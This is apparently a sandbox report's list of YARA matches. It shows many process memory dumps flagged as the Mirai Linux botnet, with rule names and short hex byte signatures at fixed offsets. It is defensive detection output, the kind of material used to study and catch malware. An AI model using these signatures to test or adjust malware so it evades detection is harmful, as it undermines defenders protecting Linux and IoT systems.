7147.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7147.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7147.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7147.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6896.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6896.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6896.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6896.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6896.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6896.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6888.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6888.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6888.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6888.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6888.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6888.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7005.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7005.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7005.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7005.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7005.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7005.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6937.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6937.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6937.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6937.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6937.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6937.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7065.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7065.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7065.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7065.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7065.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7065.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6316.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6316.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6316.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6316.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6316.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6316.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6393.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6393.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6393.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6393.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6393.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6393.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6507.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6507.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6507.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6507.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6507.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6507.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7113.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7113.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7113.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7113.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7113.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7113.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6573.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6573.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6573.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6573.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6573.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6573.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6577.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6331.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6331.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6331.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6331.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6331.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6331.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6864.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6864.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6864.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6864.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6864.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6864.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6816.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7366.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7366.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7366.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7366.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7366.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7366.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6471.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6471.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6471.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6471.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6471.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6471.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6262.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6262.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6262.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6262.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6262.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6262.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6933.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6933.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6933.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7188.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7188.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6933.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6933.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6933.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7022.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7188.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7022.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7022.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7188.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7188.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7188.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7022.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7022.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7022.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6265.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6265.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6265.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6265.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6265.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6265.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6417.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6417.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6417.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6417.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6417.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6417.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6689.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6689.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6689.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6689.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6689.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6689.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6277.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6422.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6422.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6422.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6422.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6422.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6422.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6328.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6328.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6328.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6328.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6328.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6328.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7263.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7263.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7263.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7263.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7263.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7263.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6399.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6399.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6399.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6399.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6399.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6399.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6544.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6544.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6544.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6544.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6544.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6544.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6396.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6396.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6396.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6396.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6396.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6396.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
